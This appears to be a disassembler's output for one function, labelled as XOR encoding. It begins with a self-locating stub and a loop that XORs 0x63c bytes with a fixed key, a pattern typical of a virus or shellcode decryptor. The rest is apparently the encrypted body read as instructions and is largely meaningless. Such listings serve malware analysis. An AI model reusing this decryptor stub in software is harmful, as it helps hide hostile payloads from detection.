Function at 0x805cbc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805cc2
pop ebp
sub ebp, 6
sub ebp, 0x405cbc
jmp 0x805d20
fisub word [edx]
mov ebp, 0x77e2a302
mov byte [esi - 0x10], bh
shl dword [edi - 0x17], 1
add al, 0
add byte [eax], al
popfd
pop ds
in al, dx
sti
jmp 0x805d29
mov eax, 0x405cbc
add eax, ebp
add eax, 0x93
mov ecx, 0x63c
mov edx, 0xd85e4a73
xor byte [eax], dl
inc eax
dec ecx
jne 0x805d40
jmp 0x805d53
add byte [ebp + 0x65], ah
test eax, 0x1b3319eb
jmp 0x805d6d
sbb dword [ebx], esi
sbb esi, dword [ebx + 0x63]
xor ebx, dword [ebx]
jae 0x805dbb
jae 0x805dcd
sbb esi, dword [ebx - 0x41]
pop edi
jae 0x805d52
or eax, 0xffffff8b
sahf
insb byte es:[edi], dx
or eax, 0xffffff8b
sahf
insb byte es:[edi], dx
inc eax
mov bl, 0x23
mov esi, fs
jae 0x805d14
and ecx, dword [esi + 0x7345a273]
and edi, eax
inc ebp
jae 0x805d98
clc
mov esi, 0x734ffaf8
jae 0x805df0
mov dl, 0x8b
jae 0x805df5
jae 0x805df4
mov esi, 0x737375cb
jae 0x805d54
pop ebx
jae 0x805e01
jae 0x805d14
xchg ecx, eax
jo 0x805d4e
mov ebx, 0x737ff2f8
clc
bnd jg 0x805e0a
jae 0x805e0c
jae 0x805e0a
jo 0x805d51
mov dh, 0x23
sbb edi, dword [edi + 0x46]
and ebx, dword [ebx]
jg 0x805de5
jp 0x805e14
sbb ebx, esp
push esp
inc esp
jae 0x805e19
pop edi
push edi
sbb esi, dword [ebx + 0x73]
jae 0x805e21
wait
jbe 0x805e24
jae 0x805e26
lcall 0xf826, 0x7373735b
lahf
clc
idiv byte [ebx + 0x73]
jae 0x805e34
jae 0x805dba
clc
out 0x7f, al
jae 0x805e39
jg 0x805e38
jae 0x805e3a
jae 0x805dc0
clc
invalid
mov dl, 0x9a
jno 0x805e13
jno 0x805dc3
mov cl, 0x77
cmp bh, byte [esi + esi*8 - 0x79]
mov word [esp + ecx*4 + 0x737fb12e], cs
clc
call dword [edi + 0x77]
jae 0x805e59
jae 0x805e5a
jae 0x805e03
sbb edi, dword [edi + 0x46]
jg 0x805e30
jp 0x805e5f
sbb ebx, esp
push esp
inc esp
jae 0x805e64
pop edi
push edi
and bl, byte [ebx + 0x73737376]
wait
jbe 0x805e6b
jae 0x805e6d
lcall 0xf826, 0x73737138
lahf
mov word [esi], es
push es
jg 0x805d92
push es
jnp 0x805da4
or eax, 0xf8737373
jae 0x805e7f
jae 0x805e80
jae 0x805e06
clc
into
jnp 0x805e84
jae 0x805e86
xor byte [ecx - 0x1f], 0x1f
xor byte [ecx - 0x1f], 0x1f
int 0xf2
xor byte [ecx - 0x1f], 0x1f
xor byte [ecx - 0x1f], 0x1f
pop ds
int 0x40
mov edx, 0x4d2381f2
and dword [ebx], 0xf2ddd14d
and dword [ebx], 0x40ddd14d
dec ebp
rcr ebp, 1
invalid
and dword [ebx], 0x40ddd14d
fld qword [eax - 0x5f]
invalid
mov eax, dword [0x3b769bf0]
wait
jbe 0x805e6e
jl 0x805e2c
idiv dword [0x7c737373]
cmp eax, 0x7c737373
jae 0x805eab
jae 0x805eb6
jl 0x805e36
sti
cmp esi, dword [ebx + 0x73]
jae 0x805e55
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0x805ebf
mov byte [edx + 0x7362f77c], bl
jae 0x805ec7
jae 0x805ec8
jae 0x805e6b
adc eax, 0x568c88f2
mov byte [esi + edx*2 + 0x7366f77c], cl
push esi
jl 0x805e53
mul dword [esi + 0x73]
jae 0x805ed2
jae 0x805ed3
jae 0x805e93
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
mov word [edx + ebx*2 - 0xf8db5c1], cs
dec edx
jb 0x805e5b
mov dl, 0x76
invalid
wait
ja 0x805e0b
into
mov word [esp + ecx*4 + 0x714a275a], cs
invalid
mov word [edx + ebx*2 - 0xf8eb5d9], cs
mov dl, 0x75
invalid
invalid
wait
jbe 0x805e1d
fmul dword [esp + ecx*4 + 0x7fb12e8c]
mov word [esp + ecx*4 + 0x737fb12e], cs
clc
mov word [esi], gs
mov cl, 0x7f
jae 0x805eb2
clc
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0x805e8d
push cs
jnp 0x805e27
pop ecx
stc
sal ebx, 0xf9
jne 0x805e8f
mov ch, 0x72
mov ch, 0x72
jb 0x805f13
jae 0x805f14
jae 0x805f15
jae 0x805e9e
sti
je 0x805e97
mov ah, 0x72
jae 0x805f1c
jae 0x805e73
jno 0x805f20
jae 0x805f22
jae 0x805f21
jno 0x805e52
mov eax, dword [0x7376f67c]
jl 0x805ea9
div byte [esi + 0x73]
jbe 0x805f28
jae 0x805f2a
jae 0x805eb1
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0x805eae
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0x805ebc
jbe 0x805f3b
jae 0x805f3c
jae 0x805f3d
jae 0x805ec4
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0x805f47
jae 0x805f48
jae 0x805f16
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0x805f52
stc
xor eax, 0xf07ca161
pop ecx
jb 0x805f5c
jae 0x805f5c
mov eax, dword [0x7376f67c]
jae 0x805f65
stc
xor eax, 0xb360a161
jno 0x805e9c
mov eax, dword [0xa171b360]
jl 0x805ef3
jbe 0x805f72
jae 0x805f74
stc
xor eax, 0xb360a161
jno 0x805eab
jl 0x805f02
jbe 0x805f81
jae 0x805f83
stc
xor eax, 0xb360a161
jno 0x805eba
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x805f11
jbe 0x805f90
jae 0x805f91
jae 0x805f92
jae 0x805f19
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0x805f1f
jne 0x805f9d
jae 0x805f9f
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0x805f2e
je 0x805f69
enter 0x7371, 0x73
jae 0x805ed5
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0x805fb6
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0x805fb5
jae 0x805fb7
jno 0x805ee7
mov eax, dword [0x7376f67c]
jl 0x805f3e
div byte [esi + 0x73]
jbe 0x805fbd
jae 0x805fbf
stc
xor eax, 0xb360a161
jno 0x805ef6
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x805f4d
jbe 0x805fcc
jae 0x805fcd
jae 0x805fce
jae 0x805f55
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0x805fdf
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0x805fde
jae 0x805fe0
jae 0x805fea
jl 0x805f65
test byte [edi + 0x73], 0x73
inc edi
jae 0x805fe5
jae 0x805f3e
jb 0x805fe9
jae 0x805feb
jno 0x805f1b
jl 0x805f72
jbe 0x805ff1
jae 0x805ff3
stc
xor eax, 0xba60a161
jno 0x805f2a
popal
mov eax, dword [0xa171ba60]
jl 0x805f81
jbe 0x806000
jae 0x806002
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0x805fa5
mov word [ebx + edi - 0x6846c4e], cs
jne 0x805fe3
clc
wait
retf 0x7372
jno 0x805f58
mov eax, dword [0x7376f67c]
jl 0x805faf
jbe 0x80602e
jae 0x806030
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0x805f67
jl 0x805fbe
jbe 0x80603d
jae 0x80603f
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0x806050
jae 0x805fd0
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0x80605b
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0x80605d
jae 0x80605c
jae 0x805fdc
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0x806067
jae 0x806067
jae 0x806068
jae 0x805fe8
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0x806073
jae 0x805ff4
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0x806099
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0x806095
mov byte [0x73737371], al
clc
wait
and eax, 0x835884f8
clc
test byte [eax - 0x7d], bl
pop eax
add dword [eax + 0x72c82dd7], 0x73
jae 0x8060aa
adc bh, 0x2d
enter 0x7372, 0x73
xlatb
sub eax, 0x737372c8
jae 0x805fd2
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0x806039
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0x8060bd
sub al, 0x2d
lcall 0x9fd9, 0x73737377
jae 0x80602b
lahf
push ebp
push eax
retf
mov dh, 0xf2
mov bl, 0xcc
mov bl, 0xcc
jo 0x8060d4
jae 0x80602d
arpl word [eax + 0x73], si
jae 0x806031
leave
retf
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0x806018
add cl, ch
mov ah, 0x9d
pushfd
pushfd
clc
or eax, dword [eax + 0x45]
wait
retf 0xcbcb
retf
cmp dword [esi - 0x6c], ebp
xchg ebp, eax
inc eax
push ebp
test ebx, 0xc498cbcb
je 0x80603e
clc
int 0x91
dec edx
or dword [ebx], esi
retf
retf
and dl, byte [edx]
xor al, 0x34
xor al, 0xa3
retf